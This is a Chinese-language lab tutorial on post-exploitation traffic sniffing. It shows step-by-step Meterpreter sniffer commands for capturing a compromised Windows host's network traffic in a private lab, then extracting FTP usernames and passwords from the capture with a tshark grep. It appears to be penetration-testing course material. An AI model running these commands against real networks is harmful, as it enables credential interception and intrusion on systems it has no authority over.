12.4、后渗透测试--内网主机数据包流量嗅探

攻击主机： Kali 192.168.11.106

靶机：windows server 2008 r2  192.168.11.134

Metasploitable2-Linux： 192.168.11.105

当成功获取目标机器的会话后，可以使用嗅探手段获取更多信息。

前提： 获得 meterpreter shell

1、加载sniffer模块  use sniffer

  

2、查看帮助信息  help

3、查看可嗅探的网卡  sniffer_interfaces

  

4、指定网卡编号，开启嗅探  sniffer_start 2

5、查看嗅探的状态  sniffer_status 2

6、靶机上192.168.11.134操作，ftp方式登录Metasploitable2-Linux机器192.168.11.105

7、将流量保存到桌面  sniffer_dump 2 /root/Desktop/test.cap

8、wireshark打开文件test.cap，筛选可知ftp登录192.168.11.105的用户与密码是：msfadmin/msfadmin

快速筛选用户密码： tshark -r test.cap| grep -E 'PASS|USER'

9、停止嗅探与释放捕获的数据包

sniffer_stop 2

sniffer_release 2

参考:

4-28 后渗透测试实验 - 内网主机数据包流量嗅探_哔哩哔哩_bilibili